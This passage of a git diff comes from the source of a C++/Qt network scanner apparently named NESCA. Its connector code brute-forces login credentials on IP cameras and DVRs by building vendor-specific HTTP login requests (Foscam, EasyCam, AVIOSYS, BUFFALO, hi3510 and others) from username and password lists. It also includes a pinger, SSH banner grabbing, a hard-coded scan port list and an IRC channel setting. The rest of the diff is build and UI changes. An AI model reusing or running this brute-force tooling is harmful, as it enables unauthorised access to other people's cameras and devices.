close\r\n\r\n"); + } + else if(strcmp(SPEC, "GEO") == 0) + { + strcpy(request, "GET /Login.cgi?username="); + strcat(request, login); + strcat(request, "&password="); + strcat(request, pass); + strcat(request, " HTTP/1.1\r\nHost: "); + strcat(request, ip); + if(port != 80){ + strcat(request, ":"); + char tbuff[16] = {0}; + sprintf(tbuff, "%d", port); + strcat(request, tbuff); + }; + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); + } + else if(strcmp(SPEC, "EasyCam") == 0) + { + strcpy(request, "GET /login.xml?user="); + strcat(request, login); + strcat(request, "&usr="); + strcat(request, login); + strcat(request, "&password="); + strcat(request, pass); + strcat(request, "&pwd="); + strcat(request, pass); + strcat(request, " HTTP/1.1\r\nHost: "); + strcat(request, ip); + if(port != 80){ + strcat(request, ":"); + char tbuff[16] = {0}; + sprintf(tbuff, "%d", port); + strcat(request, tbuff); + }; + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); + } + else if(strcmp(SPEC, "Foscam") == 0) + { + strcpy(request, "GET /cgi-bin/CGIProxy.fcgi?usr="); + strcat(request, login); + strcat(request, "&pwd="); + strcat(request, pass); + strcat(request, "&cmd=logIn&usrName="); + strcat(request, login); + strcat(request, "&pwd="); + strcat(request, pass); + strcat(request, " HTTP/1.1\r\nHost: "); + strcat(request, ip); + if(port != 80){ + strcat(request, ":"); + char tbuff[16] = {0}; + sprintf(tbuff, "%d", port); + strcat(request, tbuff); + }; + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); + } + else if(strcmp(SPEC, "AVIOSYS") == 0) + { + strcpy(request, "GET /check_user.html?UserName="); + strcat(request, login); + strcat(request, "&PassWord="); + strcat(request, pass); + strcat(request, " HTTP/1.1\r\nHost: "); + strcat(request, ip); + if(port != 80){ + strcat(request, ":"); + char tbuff[16] = {0}; + sprintf(tbuff, "%d", port); + strcat(request, tbuff); + }; + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); + } + else if(strcmp(SPEC, "BUFFALO") == 0) + { + strcpy(request, "POST /rpc/login HTTP/1.1\r\nHost: "); + strcat(request, ip); + if(port != 80){ + strcat(request, ":"); + char tbuff[16] = {0}; + sprintf(tbuff, "%d", port); + strcat(request, tbuff); + }; + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: keep-alive"); + int loginLength = strlen(login); + int passLength = strlen(pass); + int sz = loginLength + passLength + strlen("user=&password="); + char *passString = new char[sz + 1]; + ZeroMemory(passString, sizeof(passString)); + strcpy(passString, "user="); + strcat(passString, login); + strcat(passString, "&password="); + strcat(passString, pass); + strcat(request, "\r\nContent-Length: "); + char tempBuff[16] = {0}; + sprintf(tempBuff, "%d", sz); + strcat(request, tempBuff); + strcat(request, "\r\n\r\n"); + strcat(request, passString); + delete []passString; + } + else if(strcmp(SPEC, "DVS") == 0) + { + strcpy(request, "POST /login HTTP/1.1\r\nHost: "); + strcat(request, ip); + if(port != 80){ + strcat(request, ":"); + char tbuff[16] = {0}; + sprintf(tbuff, "%d", port); + strcat(request, tbuff); + }; + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: keep-alive"); + int loginLength = strlen(login); + int passLength = strlen(pass); + int sz = loginLength + passLength + strlen("langs=en&user=&password=&submit=+Login+"); + char *passString = new char[sz + 1]; + ZeroMemory(passString, sizeof(passString)); + strcpy(passString, "langs=en&user="); + strcat(passString, login); + strcat(passString, "&password="); + strcat(passString, pass); + strcat(passString, "&submit=+Login+"); + strcat(request, "\r\nContent-Length: "); + char tempBuff[16] = {0}; + sprintf(tempBuff, "%d", sz); + strcat(request, tempBuff); + strcat(request, "\r\n\r\n"); + strcat(request, passString); + delete []passString; + } + else if(strcmp(SPEC, "IPCAM") == 0) + { + strcpy(request, "GET /cgi-bin/hi3510/checkuser.cgi?&-name="); + strcat(request, login); + strcat(request, "&-passwd="); + strcat(request, pass); + strcat(request, "&-time=1416767330831 HTTP/1.1\r\nHost: "); + strcat(request, ip); + if(port != 80){ + strcat(request, ":"); + char tbuff[16] = {0}; + sprintf(tbuff, "%d", port); + strcat(request, tbuff); + }; + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); + + } + else if(strcmp(SPEC, "IEORFOREFOX") == 0) + { + strcpy(request, "POST /logincheck.rsp?type=1 HTTP/1.1\r\nHost: "); + strcat(request, ip); + if(port != 80){ + strcat(request, ":"); + char tbuff[16] = {0}; + sprintf(tbuff, "%d", port); + strcat(request, tbuff); + }; + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: keep-alive"); + int loginLength = strlen(login); + int passLength = strlen(pass); + int sz = loginLength + passLength + strlen("username=&userpwd="); + char *passString = new char[sz + 1]; + ZeroMemory(passString, sizeof(passString)); + strcpy(passString, "username="); + strcat(passString, login); + strcat(passString, "&userpwd="); + strcat(passString, pass); + strcat(request, "\r\nContent-Length: "); + char tempBuff[16] = {0}; + sprintf(tempBuff, "%d", sz); + strcat(request, tempBuff); + strcat(request, "\r\n\r\n"); + strcat(request, passString); + delete []passString; + }; + + int res = _webLoginSeq(request, login, pass, ip, port, passCounter, SPEC, negVector); + + if(res == 1) + { + isActive = 0; + strcpy(lps.login, loginLst[i]); + strcpy(lps.pass, passLst[j]); + return lps; + } + else if(res == -1) + { + isActive = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + ++passCounter; + }; + }; + isActive = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; +}; +lopaStr Connector::_IPCameraBLobby(char *ip, int port, char *SPEC) +{ + while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000); + + BConInc(); + lopaStr res = _IPCameraBrute(ip, port, SPEC); + BConDec(); + + return res; +} + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) +int _pingMyTarget(char *ip) +{ + HANDLE hIcmpFile; + unsigned long ipaddr = INADDR_NONE; + DWORD dwRetVal = 0; + char SendData[32] = "Data Buffer"; + LPVOID ReplyBuffer = NULL; + DWORD ReplySize = 0; + + ipaddr = inet_addr(ip); + + if (ipaddr == INADDR_NONE) + { + stt->doEmitionRedFoundData("[Pinger] INADDR_NONE! [" + QString(ip) + "]"); + return 0; + } + + hIcmpFile = IcmpCreateFile(); + if (hIcmpFile == INVALID_HANDLE_VALUE) + { + stt->doEmitionRedFoundData("[Pinger] Unable to open handle. [" + QString::number(GetLastError()) + "]"); + return 0; + } + + ReplySize = sizeof(ICMP_ECHO_REPLY) + sizeof(SendData); + ReplyBuffer = (VOID*) malloc(ReplySize); + if (ReplyBuffer == NULL) + { + stt->doEmitionRedFoundData("[Pinger] Unable to allocate memory."); + return 0; + } + + + dwRetVal = IcmpSendEcho(hIcmpFile, ipaddr, SendData, sizeof(SendData), + NULL, ReplyBuffer, ReplySize, gPingTimeout); + if (dwRetVal != 0) { + PICMP_ECHO_REPLY pEchoReply = (PICMP_ECHO_REPLY)ReplyBuffer; + struct in_addr ReplyAddr; + ReplyAddr.S_un.S_addr = pEchoReply->Address; + printf("\tSent icmp message to %s\n", "127.0.0.1"); + if (dwRetVal > 1) + { + if(gDebugMode) stt->doEmitionYellowFoundData("[Pinger] Received " + QString::number(dwRetVal) + " icmp message responses."); + } + else + { + if(gDebugMode) stt->doEmitionYellowFoundData("[Pinger] Received " + QString::number(dwRetVal) + " icmp message responses."); + } + + if(gDebugMode) stt->doEmitionYellowFoundData("[Pinger] Received from: " + QString(inet_ntoa( ReplyAddr )) + "; Status = " + QString::number(pEchoReply->Status) + "; Roundtrip time = " + QString::number(pEchoReply->RoundTripTime) + "ms."); + return 1; + } + else + { + printf("\tCall to IcmpSendEcho failed.\n"); + printf("\tIcmpSendEcho returned error: %ld\n", GetLastError() ); + if(gDebugMode) stt->doEmitionRedFoundData("[Pinger] Call to IcmpSendEcho failed. IcmpSendEcho returned error: " + QString::number(GetLastError())); + return 0; + }; +}; +#else + +#define DEFDATALEN (64-ICMP_MINLEN) /* default data length */ +#define MAXIPLEN 60 +#define MAXICMPLEN 76 +#define MAXPACKET (65536 - 60 - ICMP_MINLEN)/* max packet size */ + +int _pingMyTarget(char* target) +{ + int s, i, cc, packlen, datalen = DEFDATALEN; + struct hostent *hp; + struct sockaddr_in to, from; + struct ip *ip; + u_char *packet, outpack[MAXPACKET]; + char hnamebuf[MAXHOSTNAMELEN]; + string hostname; + struct icmp *icp; + int ret, fromlen, hlen; + fd_set rfds; + struct timeval tv; + int retval; + struct timeval start, end; + int end_t; + bool cont = true; + + to.sin_family = AF_INET; + + // try to convert as dotted decimal address, else if that fails assume it's a hostname + to.sin_addr.s_addr = inet_addr(target); + if (to.sin_addr.s_addr != (u_int)-1) + hostname = string(target); + else + { + hp = gethostbyname(target); + if (!hp) + { + cerr << "unknown host "<< target << endl; + return -1; + } + to.sin_family = hp->h_addrtype; + bcopy(hp->h_addr, (caddr_t)&to.sin_addr, hp->h_length); + strncpy(hnamebuf, hp->h_name, sizeof(hnamebuf) - 1); + hostname = hnamebuf; + } + packlen = datalen + MAXIPLEN + MAXICMPLEN; + if ( (packet = (u_char *)malloc((u_int)packlen)) == NULL) + { + cerr << "malloc error\n"; + return -1; + } + + if ( (s = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) + { + perror("socket"); /* probably not running as superuser */ + return -1; + } + + icp = (struct icmp *)outpack; + icp->icmp_type = ICMP_ECHO; + icp->icmp_code = 0; + icp->icmp_cksum = 0; + icp->icmp_seq = 12345; /* seq and id must be reflected */ + icp->icmp_id = getpid(); + + + cc = datalen + ICMP_MINLEN; + icp->icmp_cksum = in_cksum((unsigned short *)icp,cc); + + gettimeofday(&start, NULL); + + i = sendto(s, (char *)outpack, cc, 0, (struct sockaddr*)&to, (socklen_t)sizeof(struct sockaddr_in)); + if (i < 0 || i != cc) + { + if (i < 0) + perror("sendto error"); + cout << "wrote " << hostname << " " << cc << " chars, ret= " << i << endl; + } + + // Watch stdin (fd 0) to see when it has input. + FD_ZERO(&rfds); + FD_SET(s, &rfds); + // Wait up to one seconds. + tv.tv_sec = 1; + tv.tv_usec = 0; + + while(cont) + { + retval = select(s+1, &rfds, NULL, NULL, &tv); + if (retval == -1) + { + perror("select()"); + return -1; + } + else if (retval) + { + fromlen = sizeof(sockaddr_in); + if ( (ret = recvfrom(s, (char *)packet, packlen, 0,(struct sockaddr *)&from, (socklen_t*)&fromlen)) < 0) + { + perror("recvfrom error"); + return -1; + } + + // Check the IP header + ip = (struct ip *)((char*)packet); + hlen = sizeof( struct ip ); + if (ret < (hlen + ICMP_MINLEN)) + { + cerr << "packet too short (" << ret << " bytes) from " << hostname << endl;; + return -1; + } + + // Now the ICMP part + icp = (struct icmp *)(packet + hlen); + if (icp->icmp_type == ICMP_ECHOREPLY) + { + cout << "Recv: echo reply"<< endl; + if (icp->icmp_seq != 12345) + { + cout << "received sequence # " << icp->icmp_seq << endl; + continue; + } + if (icp->icmp_id != getpid()) + { + cout << "received id " << icp->icmp_id << endl; + continue; + } + cont = false; + } + else + { + cout << "Recv: not an echo reply" << endl; + continue; + } + + gettimeofday(&end, NULL); + end_t = 1000000*(end.tv_sec - start.tv_sec) + (end.tv_usec - start.tv_usec); + + if(end_t < 1) + end_t = 1; + + cout << "Elapsed time = " << end_t << " usec" << endl; + return end_t; + } + else + { + cout << "No data within one seconds.\n"; + return 0; + } + } + return 0; +} + +uint16_t in_cksum(uint16_t *addr, unsigned len) +{ + uint16_t answer = 0; + /* + * Our algorithm is simple, using a 32 bit accumulator (sum), we add + * sequential 16 bit words to it, and at the end, fold back all the + * carry bits from the top 16 bits into the lower 16 bits. + */ + uint32_t sum = 0; + while (len > 1) { + sum += *addr++; + len -= 2; + } + + // mop up an odd byte, if necessary + if (len == 1) { + *(unsigned char *)&answer = *(unsigned char *)addr ; + sum += answer; + } + + // add back carry outs from top 16 bits to low 16 bits + sum = (sum >> 16) + (sum & 0xffff); // add high 16 to low 16 + sum += (sum >> 16); // add carry + answer = ~sum; // truncate to 16 bits + return answer; +} +#endif +QString strIP; +QString strPort; +const char *buff1 = "GET / HTTP/1.1\r\nHost: "; +const char *buff2 = "\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: us-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nConnection: close\r\n\r\n"; +int Connector::_SSHLobby(char *ip, int port, conSTR *CSTR) +{ + char banner[256] = {0}; + strncpy(banner, _get_ssh_banner(ip, port), 256); + if(strlen(banner) > 0) + { + return _EstablishSSHConnection(ip, port, CSTR, banner); + }; +}; +int Connector::_ConnectToPort(char *ip, const char *portC, char *hl) +{ + if(gPingNScan) + { + if(_pingMyTarget(ip) == 0) + { + return -2; + }; + }; + + char mes[512] = {0}; + conSTR CSTR; + CSTR.lowerBuff = NULL; + CSTR.size = 0; + + int strFlag = 0; + strcpy(mes, buff1); + strcat(mes, ip); + int port = atoi(portC); + if(port != 80){ + strcat(mes, ":"); + strcat(mes, portC); + }; + strcat(mes, buff2); + int cRes; + + if(port == 443) cRes = _EstablishSSLConnection(ip, port, mes, &CSTR); + else if(port == 22) cRes = _SSHLobby(ip, port, &CSTR); + else cRes = _EstablishConnection(ip, port, mes, &CSTR); + int size = CSTR.size; + + if(cRes == -2) return -2; + + if(size > 0 && cRes != -1) + { + ++Alive; + ++found; + stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found)); + + Lexems lx; + lx._filler(port, CSTR.lowerBuff, ip, size, &lx, hl); + delete []CSTR.lowerBuff; + CSTR.lowerBuff = NULL; + }; + + if(CSTR.lowerBuff != NULL) + { + delete []CSTR.lowerBuff; + CSTR.lowerBuff = NULL; + }; + strFlag = 1; +}; diff --git a/externData.h b/externData.h index 0dd92da..dc01889 100644 --- a/externData.h +++ b/externData.h @@ -1,6 +1,5 @@ #define RECV_MAX_SIZE 350000 #define REQUEST_MAX_SIZE 4096 -#define SD_BOTH 2 #define PORTSET "80,81,88,8080,8081,60001,60002,8008,8888,554,9000,441,4111,6667,3536,22,21" #define IRC_CHAN "iskopasi_lab03" #define CSSOCKET(Socket) shutdown(Socket, SD_BOTH); closesocket(Socket); Socket = -1; diff --git a/externFunctions.h b/externFunctions.h index 67b5f3d..7bb5d18 100644 --- a/externFunctions.h +++ b/externFunctions.h @@ -9,7 +9,7 @@ extern void BConInc(); extern void BConDec(); extern QString GetNSErrorDefinition(char *str, char *defin); extern void _SaveBackupToFile(); -extern char* __cdecl strstri(char *_Str, const char *_SubStr); +extern char* strstri(char *_Str, const char *_SubStr); extern char* _getAttribute(char *str, char *attrib); extern char *_findFirst(char *str, char *delim); extern void nCleanup(); diff --git a/main.cpp b/main.cpp index 64303be..7fd5c26 100644 --- a/main.cpp +++ b/main.cpp @@ -1,8 +1,8 @@ #include "nesca_3.h" #include +#include #if defined(Q_OS_WIN32) #include -#include #endif //--Fixing _ITERATOR_DEBUG_LEVEL 0!=2 @@ -44,4 +44,4 @@ nesca_3 *gui = new nesca_3(); gui->showNormal(); return a.exec(); } - \ No newline at end of file + diff --git a/mainResources.h b/mainResources.h index b764316..f418e59 100644 --- a/mainResources.h +++ b/mainResources.h @@ -1,17 +1,15 @@ #pragma once #include "base64.h" -#include -#if defined(Q_OS_WIN32) +#include +#include +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) #pragma once #include "iostream" #include #include #include -#include -#endif -#if defined(Q_OS_LINUX) -#pragma once +#else #include #include #include @@ -36,16 +34,20 @@ #define WSAGetLastError() errno #define closesocket(sock) ::close((sock)) +typedef unsigned int DWORD; +typedef void* LPVOID; +typedef void* HANDLE; typedef unsigned int UINT; typedef const char * LPCSTR; typedef int SOCKET; typedef hostent HOSTENT; typedef struct linger LINGER; typedef int BOOL; + #define INVALID_SOCKET (SOCKET)(~0) -#define SOCKET_ERROR (-1) +#define SOCKET_ERROR (-1) #define SD_BOTH 0x02 -#define FAR far +#define FAR far #endif #define MAX_ADDR_LEN 128 diff --git a/nesca.pro b/nesca.pro index 59b12cd..9edf02e 100644 --- a/nesca.pro +++ b/nesca.pro @@ -8,13 +8,65 @@ QT += core gui greaterThan(QT_MAJOR_VERSION, 4): QT += widgets +PKGCONFIG += openssl +CONFIG += c++11 + TARGET = nesca TEMPLATE = app +LIBS += -lssh +INCLUDEPATH += /opt/Qt5.3.2/5.3/gcc_64/include/QtWidgets/ +SOURCES +=\ + main.cpp \ + ActivityDrawerTh_HorNet.cpp \ + base64.cpp \ + CheckKey_Th.cpp \ + CheckProxy_Th.cpp \ + connector.cpp \ + DrawerTh_GridQoSScanner.cpp \ + DrawerTh_HorNet.cpp \ + DrawerTh_ME2Scanner.cpp \ + DrawerTh_QoSScanner.cpp \ + DrawerTh_VoiceScanner.cpp \ + irc_nmblinker.cpp \ + IRCPinger_Th.cpp \ + msgcheckerthread.cpp \ + nesca_3.cpp \ + nesca_startModule.cpp \ + oIRC_Th.cpp \ + piestat.cpp \ + progressbardrawer.cpp \ + STh.cpp \ + vercheckerthread.cpp -SOURCES += main.cpp\ - mainwindow.cpp +HEADERS += ActivityDrawerTh_HorNet.h \ + base64.h \ + CheckKey_Th.h \ + CheckProxy_Th.h \ + DrawerTh_GridQoSScanner.h \ + DrawerTh_HorNet.h \ + DrawerTh_ME2Scanner.h \ + DrawerTh_QoSScanner.h \ + DrawerTh_VoiceScanner.h \ + externData.h \ + externFunctions.h \ + irc_nmblinker.h \ + IRCPinger_Th.h \ + mainResources.h \ + msgcheckerthread.h \ + nesca_3.h \ + oIRC_Th.h \ + piestat.h \ + progressbardrawer.h \ + resource.h \ + STh.h \ + vercheckerthread.h -HEADERS += mainwindow.h +FORMS += nesca_3.ui + +RESOURCES += \ + nesca_3.qrc + +OTHER_FILES += \ + nesca_3.rc -FORMS += mainwindow.ui diff --git a/nesca_3.cpp b/nesca_3.cpp index 236a3eb..0fcade7 100644 --- a/nesca_3.cpp +++ b/nesca_3.cpp @@ -170,7 +170,7 @@ bool ME2ScanFlag = true, QoSScanFlag = false, VoiceScanFlag = false, PieStatFlag Ui::nesca_3Class *ui = new Ui::nesca_3Class; -#pragma endregion + void setSceneArea() { delete ui->graphicsVoice; @@ -1426,16 +1426,16 @@ void nesca_3::ConnectToIRCServer() } else { -#pragma region QTGUI_Area + ui->ircText->append("No IRC port specified!"); -#pragma endregion + }; } else { -#pragma region QTGUI_Area + ui->ircText->append("No IRC server specified!"); -#pragma endregion + }; }; void nesca_3::ChangeIRCRawLog() @@ -2514,7 +2514,7 @@ void nesca_3::smReaction() }; }; -#pragma endregion + void nesca_3::IPScanSeq() { if(ui->ipLine->text() != "") @@ -2919,7 +2919,7 @@ void nesca_3::ConnectEvrthng() connect ( psTh, SIGNAL(sUpdatePie()), this, SLOT(slotUpdatePie()) ); connect ( irc_nmb, SIGNAL(sBlinkMessage()), this, SLOT(slotBlinkMessage()) ); }; -#pragma endregion + void RestoreSession() { @@ -2929,9 +2929,9 @@ void RestoreSession() if(resFile != NULL) { -#pragma region QTGUI_Area + stt->doEmitionYellowFoundData("Previous session file found! Restoring..."); -#pragma endregion + while(fgets(resStr, 128, resFile) != NULL) { if(strstr(resStr, "[SESSION]:") != NULL) @@ -3198,9 +3198,9 @@ void RestoreSession() }; fclose(resFile); -#pragma region QTGUI_Area + stt->doEmitionGreenFoundData("Previous session restored."); -#pragma endregion + }; } void CreateVerFile() @@ -3338,10 +3338,10 @@ void _startMsgCheck() WSADATA wsda; if (WSAStartup(0x0101, &wsda)) { - #pragma region QTGUI_Area + stt->doEmitionRedFoundData("WSAStartup failed."); stt->doEmitionKillSttThread(); - #pragma endregion + }; #endif @@ -3829,7 +3829,7 @@ void nesca_3::appendDefaultIRCText(bool pm, bool hlflag, int cCode, QString str, pos += colr.matchedLength(); thisIsUrl = true; }; -#pragma endregion + #pragma region Bold-handler int posBold = 0; @@ -3844,7 +3844,7 @@ void nesca_3::appendDefaultIRCText(bool pm, bool hlflag, int cCode, QString str, posBold += boldr.matchedLength(); thisIsUrl = true; }; -#pragma endregion + #pragma region underline-handler int posUnder = 0; @@ -3859,7 +3859,7 @@ void nesca_3::appendDefaultIRCText(bool pm, bool hlflag, int cCode, QString str, posUnder += under.matchedLength(); thisIsUrl = true; }; -#pragma endregion + #pragma region link-handler r.indexIn(str); @@ -3871,7 +3871,7 @@ void nesca_3::appendDefaultIRCText(bool pm, bool hlflag, int cCode, QString str, str.replace(r, "" + link.trimmed() + " "); thisIsUrl = true; }; -#pragma endregion + str.replace("", ""); str.replace("", ""); diff --git a/nesca_3.h b/nesca_3.h index 5c39a60..585757c 100644 --- a/nesca_3.h +++ b/nesca_3.h @@ -9,8 +9,8 @@ #include #include #include "ui_nesca_3.h" -#include -#include +#include +#include #include #include #include @@ -18,7 +18,8 @@ #include #include #include -#include +#include +#include extern Ui::nesca_3Class *ui; extern bool widgetIsHidden, IRCLogToggled, BALogSwitched, blinkFlag, disableBlink, debugFileOK, QOSWait, @@ -192,7 +193,7 @@ protected: move(x()+delta.x(), y()+delta.y()); oldPos = evt->globalPos(); } - void mouseReleaseEvent(QMouseEvent *evt) + void mouseReleaseEvent() { if(switchWindows) { diff --git a/nesca_3.ui b/nesca_3.ui index 1a30e30..bb2476c 100644 --- a/nesca_3.ui +++ b/nesca_3.ui @@ -32,7 +32,7 @@ NESCA 3 - + :/nesca_3/Z:/nesca.ico:/nesca_3/Z:/nesca.ico @@ -1677,7 +1677,7 @@ border-radius: 3px; <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> <html><head><meta name="qrichtext" content="1" /><style type="text/css"> p, li { white-space: pre-wrap; } -</style></head><body style=" font-family:'Consolas'; font-size:8.25pt; font-weight:400; font-style:normal;"> +</style></head><body style=" font-family:'Consolas'; font-size:11pt; font-weight:400; font-style:normal;"> <p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-family:'MS Shell Dlg 2'; font-size:8pt;"><br /></p></body></html> @@ -2179,7 +2179,7 @@ p, li { white-space: pre-wrap; } - + :/nesca_3/Z:/nesca.ico:/nesca_3/Z:/nesca.ico @@ -2432,7 +2432,7 @@ p, li { white-space: pre-wrap; } <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> <html><head><meta name="qrichtext" content="1" /><style type="text/css"> p, li { white-space: pre-wrap; } -</style></head><body style=" font-family:'Eurostile'; font-size:8.25pt; font-weight:400; font-style:normal;"> +</style></head><body style=" font-family:'Eurostile'; font-size:11pt; font-weight:400; font-style:normal;"> <p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;"><br /></p></body></html> @@ -3043,62 +3043,188 @@ background-color: #000000; + + + + + + 16 + 16 + 16 + + + + + 0 + 0 + 0 + + + + + - - - 49 - 49 - 49 - + + + + + 16 + 16 + 16 + + + + + 0 + 0 + 0 + + + - - - 0 - 0 - 0 - + + + + + 16 + 16 + 16 + + + + + 0 + 0 + 0 + + + + + + + + + 16 + 16 + 16 + + + + + 0 + 0 + 0 + + + + + - - - 49 - 49 - 49 - + + + + + 16 + 16 + 16 + + + + + 0 + 0 + 0 + + + - - - 0 - 0 - 0 - + + + + + 16 + 16 + 16 + + + + + 0 + 0 + 0 + + + + + + + + + 16 + 16 + 16 + + + + + 0 + 0 + 0 + + + + + - - - 0 - 0 - 0 - + + + + + 16 + 16 + 16 + + + + + 0 + 0 + 0 + + + - - - 0 - 0 - 0 - + + + + + 16 + 16 + 16 + + + + + 0 + 0 + 0 + + + @@ -3287,7 +3413,7 @@ background-color: #000000; <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> <html><head><meta name="qrichtext" content="1" /><style type="text/css"> p, li { white-space: pre-wrap; } -</style></head><body style=" font-family:'Eurostile'; font-size:8.25pt; font-weight:400; font-style:normal;"> +</style></head><body style=" font-family:'Eurostile'; font-size:11pt; font-weight:400; font-style:normal;"> <p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;"><br /></p></body></html> @@ -3423,7 +3549,7 @@ p, li { white-space: pre-wrap; } <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> <html><head><meta name="qrichtext" content="1" /><style type="text/css"> p, li { white-space: pre-wrap; } -</style></head><body style=" font-family:'Eurostile'; font-size:8.25pt; font-weight:400; font-style:normal;"> +</style></head><body style=" font-family:'Eurostile'; font-size:11pt; font-weight:400; font-style:normal;"> <p style="-qt-paragraph-type:empty; margin-top:2px; margin-bottom:2px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;"><br /></p></body></html> @@ -3884,8 +4010,6 @@ color: rgb(71, 71, 71); exitButton dataText - - - + diff --git a/nesca_startModule.cpp b/nesca_startModule.cpp index cbd4f17..5aafbae 100644 --- a/nesca_startModule.cpp +++ b/nesca_startModule.cpp @@ -141,9 +141,9 @@ void ConInc() { lock inc cons; }; - #pragma region QTGUI_Area + stt->doEmitionThreads(QString::number(cons) + "/" + QString::number(gThreads)); - #pragma endregion + }; void ConDec() { @@ -154,9 +154,9 @@ void ConDec() lock dec cons; }; }; - #pragma region QTGUI_Area + stt->doEmitionThreads(QString::number(cons) + "/" + QString::number(gThreads)); - #pragma endregion + }; void _SaveBackupToFile() { @@ -411,10 +411,10 @@ void *_timer() strcat(dbuffer, "d)"); strcat(timeLeft, 